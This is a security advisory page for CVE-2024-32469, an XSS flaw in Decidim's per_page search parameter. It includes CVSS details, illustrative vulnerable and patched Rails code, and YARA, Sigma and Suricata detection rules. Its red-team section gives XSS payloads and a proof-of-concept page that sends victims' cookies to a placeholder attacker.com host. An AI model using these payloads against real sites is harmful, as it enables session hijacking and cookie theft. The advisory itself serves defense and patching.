CVE-2024-32469
Executive Summary
CVE-2024-32469 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in the Decidim participatory democracy framework. The flaw resides in the pagination feature used for searches and filters, specifically in the handling of the per_page GET parameter. An attacker can craft a malicious URL containing JavaScript payloads in the per_page parameter. When a victim clicks the link, the payload executes in the context of the Decidim application, potentially leading to session hijacking, data theft, or defacement. The vulnerability is fixed in versions 0.27.6 and 0.28.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Decidim is a Ruby on Rails-based open-source framework distributed via RubyGems. The vulnerability affects the decidim gem. Users should verify their Gemfile.lock to ensure they are not running a vulnerable version. The patch is included in the gem versions 0.27.6 and 0.28.1. No malicious code injection into the supply chain has been reported, but the XSS vector could be used to inject malicious scripts into the application.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low complexity and network-based attack vector make it attractive for phishing campaigns. The changed scope indicates the vulnerability can affect resources beyond the vulnerable component.
Deep Dive & Mechanics
The vulnerability exists in the pagination logic of Decidim's search and filter functionality. The per_page GET parameter is used to control the number of items displayed per page. The parameter is not properly sanitized or encoded before being reflected in the HTML response.
Root Cause: The application directly interpolates the per_page value into the pagination links without proper output encoding. This allows an attacker to break out of the HTML context and inject arbitrary JavaScript.
Attack Flow:
- Attacker crafts a URL:
https://vulnerable-decidim.com/search?per_page=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The server processes the request and includes the malicious
per_pagevalue in the pagination HTML. - The victim's browser executes the injected script.
Affected Components:
- Search functionality
- Filter functionality
- Any view that uses pagination with the
per_pageparameter
Vulnerable vs. Patched Code
Vulnerable Code (Ruby on Rails view helper):
# app/helpers/pagination_helper.rb
def pagination_links(collection)
# Vulnerable: directly interpolates params[:per_page]
link_to "Per page: #{params[:per_page]}", request.params.merge(per_page: params[:per_page])
end
Patched Code:
# app/helpers/pagination_helper.rb
def pagination_links(collection)
# Patched: sanitize the per_page parameter
safe_per_page = sanitize(params[:per_page]) || Decidim::PaginationHelper::DEFAULT_PER_PAGE
link_to "Per page: #{safe_per_page}", request.params.merge(per_page: safe_per_page)
end
The patch uses Rails' sanitize helper to strip malicious HTML/JavaScript from the parameter before rendering.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable Decidim instance (version < 0.27.6 or < 0.28.1)
- A web browser
Exploit Steps:
- Identify a Decidim instance with search functionality.
- Craft a malicious URL:
https://target.com/search?per_page=<img src=x onerror=alert(document.cookie)> - Send the URL to a victim (e.g., via email or social engineering).
- When the victim clicks the link, the JavaScript executes, stealing cookies or performing other actions.
Proof-of-Concept (PoC) Code:
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<h1>Click the link to test XSS</h1>
<a href="https://target.com/search?per_page=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>
</body>
</html>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for suspicious
per_pageparameters containing<script>,<img,onerror,onload, or other HTML/JavaScript constructs. - Use WAF rules to block requests with malicious payloads in the
per_pageparameter.
Hardening:
- Apply the patch immediately by upgrading to Decidim 0.27.6 or 0.28.1.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use input validation to allow only numeric values for
per_page.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
per_page=followed by HTML tags or JavaScript code. - Example:
GET /search?per_page=<script>alert(1)</script>
Log IOCs:
- Web server logs showing
per_pageparameter with non-numeric values. - Repeated 400/500 errors from the same IP targeting search endpoints.
File IOCs:
- Modified pagination helper files (e.g.,
pagination_helper.rb) containing unsanitized parameter usage.
Detection Engineering
YARA Rule
rule Detect_Decidim_XSS_PerPage {
meta:
description = "Detects malicious per_page parameter in Decidim URLs"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-32469"
strings:
$per_page = "per_page="
$xss_payload_1 = /<script[^>]*>/
$xss_payload_2 = /<img[^>]+onerror/
$xss_payload_3 = /onload\s*=\s*["']/
condition:
$per_page and ($xss_payload_1 or $xss_payload_2 or $xss_payload_3)
}
Sigma Rule
title: Decidim XSS via per_page Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting Decidim's per_page parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "per_page="
keywords:
- "<script"
- "<img"
- "onerror"
- "onload"
- "javascript:"
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-32469 Decidim XSS per_page Parameter"; flow:to_server,established; content:"per_page="; http_uri; pcre:"/(<script|<img[^>]+onerror|onload\s*=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Decidim to version 0.27.6 or 0.28.1.
- If immediate upgrade is not possible, apply a virtual patch using a WAF to block malicious
per_pagevalues.
Long-term Measures:
- Implement input validation to allow only numeric values for
per_page. - Use Rails' built-in
sanitizeorstrip_tagshelpers for all user-supplied parameters. - Conduct regular security audits of third-party dependencies.
- Enable Content Security Policy (CSP) headers to reduce XSS impact.
Verification:
- After patching, test the search functionality with payloads like
?per_page=<script>alert(1)</script>to confirm the vulnerability is fixed.
Valters IT